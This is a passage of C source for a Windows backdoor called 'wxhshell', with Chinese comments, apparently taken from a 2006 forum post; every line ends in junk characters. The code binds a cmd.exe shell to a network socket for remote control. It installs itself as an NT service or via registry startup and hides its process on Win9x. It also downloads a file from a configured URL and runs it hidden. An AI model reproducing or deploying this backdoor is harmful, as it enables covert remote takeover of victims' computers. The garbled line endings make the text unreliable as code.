  case 'i': { _"0Bg3Y  
    if(Install()) w0L+Sj db  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f^?k?_~PN  
    else [kyIF\0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aaM76;  
    break; f& >[$zh  
    } 8!(09gW'>  
  // 卸载 VsM~$ )  
  case 'r': { JQ)w/@Vu=  
    if(Uninstall()) ;4ETqi9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m<uBRI*I  
    else I7q}<"`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tjTnFP/=  
    break; pw5uH  
    } %ryYa  
  // 显示 wxhshell 所在路径 YRm6~c  
  case 'p': { }grel5lq  
    char svExeFile[MAX_PATH]; y)e8pPDG  
    strcpy(svExeFile,"\n\r"); ]3iQpL  
      strcat(svExeFile,ExeFile); i917d@r(<  
        send(wsh,svExeFile,strlen(svExeFile),0); G :JQ_w  
    break; DqGm  
    } Ga1(T$ |H  
  // 重启 lo:{T _ay  
  case 'b': { z->[:)c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qTUyax  
    if(Boot(REBOOT)) qz<>9n@o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OkaN VTB  
    else { YA[\|I33  
    closesocket(wsh); H!yqIh  
    ExitThread(0); /f0*NNSat-  
    } QlCs ,bT  
    break; VuWBWb?0Q  
    } R+y 9JE  
  // 关机 )D"E]  
  case 'd': { yO`HL'SMo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B LI 9(@  
    if(Boot(SHUTDOWN)) 6_wj,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K{WLo5HP  
    else { yz7X7mAo  
    closesocket(wsh); Ri mz~}+  
    ExitThread(0); L&LK go  
    } 2jiH&'@  
    break; 2=/,9ka~  
    } M6o"|\  
  // 获取shell $vK(Qm  
  case 's': { [DzZ:8  
    CmdShell(wsh); BL^\"Xh$|  
    closesocket(wsh); n3Q Rn^  
    ExitThread(0); LW '3m5  
    break; 1 ms(03dp  
  } oW \k%Vj  
  // 退出 $]t3pAI[H0  
  case 'x': { yrVk$k#6}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vQ",rP%  
    CloseIt(wsh); 7U, [Ruu  
    break; A5[iFT>  
    } M\rZr3  
  // 离开 kt;uB X3  
  case 'q': { ]5Mq^@mD'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F2:nL`]b[  
    closesocket(wsh); g<(\#F}/  
    WSACleanup(); K*[`s'Ip-  
    exit(1); FZ~^cK9g:  
    break; *H({q`j33k  
        } <*F!A' w2o  
  } v%$c_'d  
  } Q^! x8oUF  
[;RO=  
  // 提示信息 {GP#/5$=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ qx[ 0  
} WAqH*LB  
  } 0Mu6R=s  
,\Uc/w R  
  return; vnS;T+NZSC  
} sRkPXzK  
x=%wP VJ  
// shell模块句柄 e=u?-8  
int CmdShell(SOCKET sock) > t~2  
{ L }L"BY3$  
STARTUPINFO si; T1[B*RwC  
ZeroMemory(&si,sizeof(si)); O ! iN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dlJc~|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KqhE=2,  
PROCESS_INFORMATION ProcessInfo; i_<GSUTTr/  
char cmdline[]="cmd"; vg;9"A!(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jH~VjE>  
  return 0; *)u%KYGr  
} H05xt$J  
%  db  
// 自身启动模式 V3v/h V:  
int StartFromService(void) m:x<maP# E  
{ mP[ZlS~"  
typedef struct /JbO$A  
{ q)rxv7Iu\  
  DWORD ExitStatus; Mv\]uAT`  
  DWORD PebBaseAddress; jWNF3\  
  DWORD AffinityMask; K zWqHq  
  DWORD BasePriority; gO%o A} !i  
  ULONG UniqueProcessId; p|9Eue3j2  
  ULONG InheritedFromUniqueProcessId; bTepTWv  
}   PROCESS_BASIC_INFORMATION; .6HHUy  
$3)Z>p   
PROCNTQSIP NtQueryInformationProcess; e.VR9O]G  
q:ah%x[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s)9d\{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O~DdMW  
6O\a\z  
  HANDLE             hProcess; sX[k}=HCK  
  PROCESS_BASIC_INFORMATION pbi; -a\[`JHi  
!}I+)@~\w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -?vII~a9y  
  if(NULL == hInst ) return 0; ]Mb:zs<r  
!&#5 *  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V<ExR@|}.%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gk-49|qIV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VbfTdRD-  
hA:RVeS{  
  if (!NtQueryInformationProcess) return 0; O0RV>Ml'&  
.{,fb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,0\P r  
  if(!hProcess) return 0; 4D=^24f`0  
Aw"Y_S8.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /ht-]Js$G  
aaRc?b'/  
  CloseHandle(hProcess); uRCZGg&V?#  
4#Cm5xAt6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  4"~F  
if(hProcess==NULL) return 0; JrNqS[c/  
pKNrEq  
HMODULE hMod; *iiyU}x  
char procName[255]; %@'[g]h k  
unsigned long cbNeeded; HA`q U  
vugGMP;D(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :F`"CR^,  
u`?v-   
  CloseHandle(hProcess); 0'zX6%  
qW 2'?B3<  
if(strstr(procName,"services")) return 1; // 以服务启动 w{89@ XRC  
$iMbtA5a Q  
  return 0; // 注册表启动 8Os: SC@Q  
} Aq;WQyZ2  
'y%*W:O  
// 主模块 jeWI<ms  
int StartWxhshell(LPSTR lpCmdLine) 5fY7[{ 2  
{ SL 5QhP  
  SOCKET wsl; fjh,e  
BOOL val=TRUE; 4zhg#  
  int port=0; <*[D30<  
  struct sockaddr_in door; mRT$@xa]J  
^{g('BQx  
  if(wscfg.ws_autoins) Install(); "Ta"5XW  
iCIU'yI  
port=atoi(lpCmdLine); Ye]-RN/W  
[yx8?5  
if(port<=0) port=wscfg.ws_port; z$Z{ LR  
\'.|7{Xu  
  WSADATA data; s6(bTO.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p5`={'>-  
AQjf\i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wu~?P`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LXS)(-&  
  door.sin_family = AF_INET; T7LO}(I.&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -jk-ve  
  door.sin_port = htons(port); =`E{QCW  
Ft<B[bQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ycj\5+ g  
closesocket(wsl); ^SWV!rrg  
return 1; +j(7.6ia  
} >SWc  
UH`cWVLpr  
  if(listen(wsl,2) == INVALID_SOCKET) { XCj8QM.o  
closesocket(wsl); w=kW~gg  
return 1; cceh`s=cU  
} ,;)_$%bHc  
  Wxhshell(wsl); qQp;i{X  
  WSACleanup(); CXh >'K  
w`X0^<Fv  
return 0; o:PdPuZVR  
"5@\"L  
} se*!OiOt  
g=e~YM85  
// 以NT服务方式启动 e'T|5I0K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (w1$m8`=  
{ s(pNg?R  
DWORD   status = 0; C`["4  
  DWORD   specificError = 0xfffffff; Qb#iT}!p%  
+o|I@7f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xk`'m[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MQMc=Z4d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,A[NcFdCB  
  serviceStatus.dwWin32ExitCode     = 0; W.nr&yiQ  
  serviceStatus.dwServiceSpecificExitCode = 0; l#&\,T  
  serviceStatus.dwCheckPoint       = 0; |-`-zo4z  
  serviceStatus.dwWaitHint       = 0; E_-g<Cw  
#k|f%!-Vo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); irF+(&q]jh  
  if (hServiceStatusHandle==0) return; FZ5 Ad&".@  
~n;U5hcB  
status = GetLastError(); En{< OMg  
  if (status!=NO_ERROR) 5 51p* B2  
{ ypWhH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -\~HAnh  
    serviceStatus.dwCheckPoint       = 0; ~; vt{pk  
    serviceStatus.dwWaitHint       = 0; IVso/!   
    serviceStatus.dwWin32ExitCode     = status; :aR_f`KMm  
    serviceStatus.dwServiceSpecificExitCode = specificError; AHet,N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -=GmI1:=$4  
    return; 4P?R "Lk  
  } YQ`88 z  
r<!/!}fE,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o#hFK'&~  
  serviceStatus.dwCheckPoint       = 0; >0S(se$  
  serviceStatus.dwWaitHint       = 0; Le2rc *T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +6s6QeNS8  
} jE!?;} P1  
{w mP  
// 处理NT服务事件,比如:启动、停止 4^7*R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9a]JQ  
{ h@@q:I=  
switch(fdwControl) IgEVz^W?h  
{ 8=-#LVo~c  
case SERVICE_CONTROL_STOP: " nLWvV1  
  serviceStatus.dwWin32ExitCode = 0; SI/3Dz[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AA5UOg\jI  
  serviceStatus.dwCheckPoint   = 0; B pp(5  
  serviceStatus.dwWaitHint     = 0; WDF6.i ?  
  { ]F sr k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UV\&9>@L  
  } HXgf=R/$  
  return; z6Zd/mt~x  
case SERVICE_CONTROL_PAUSE: P\&n0C~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >:|jds#  
  break; }*c[} VLN  
case SERVICE_CONTROL_CONTINUE: ne# %Gr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +HEL^  
  break; ,'byJlw_pv  
case SERVICE_CONTROL_INTERROGATE: zKFiCP K  
  break; ntn ~=oL  
}; nG7E j#1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &H/3@A3  
} Q+p9^_r  
tS[%C)  
// 标准应用程序主函数 E&0]s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -SF50.[  
{ Qn \=P*j  
Z9 zsvg  
// 获取操作系统版本 &:#"APX  
OsIsNt=GetOsVer(); )JOo|pr-K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WD|pG;Gq  
*~^M_wej  
  // 从命令行安装 wp<f{^ et  
  if(strpbrk(lpCmdLine,"iI")) Install(); y<m }dW6[\  
{cmV{ 4Yx  
  // 下载执行文件 \Wb3JQ)  
if(wscfg.ws_downexe) { Q #p gl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f<v Z4 IU  
  WinExec(wscfg.ws_filenam,SW_HIDE); :8Ugz~i  
} m0]Lc{  
1 Ay.^f  
if(!OsIsNt) { KNSMx<GP  
// 如果时win9x,隐藏进程并且设置为注册表启动 $u, ~183  
HideProc(); < ;fI*km  
StartWxhshell(lpCmdLine); +@MG$*}Oz  
} i([|@Y=  
else %8lWJwb7u  
  if(StartFromService()) |z`AIScT  
  // 以服务方式启动 }*VRj;ff  
  StartServiceCtrlDispatcher(DispatchTable); t]+h.  
else vlPViHF.  
  // 普通方式启动 UxvT|~"  
  StartWxhshell(lpCmdLine); 41c4Xj?'  
cD9.L  
return 0; qjH/E6GGg  
}
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只看该作者 1 发表于: 2006-10-10
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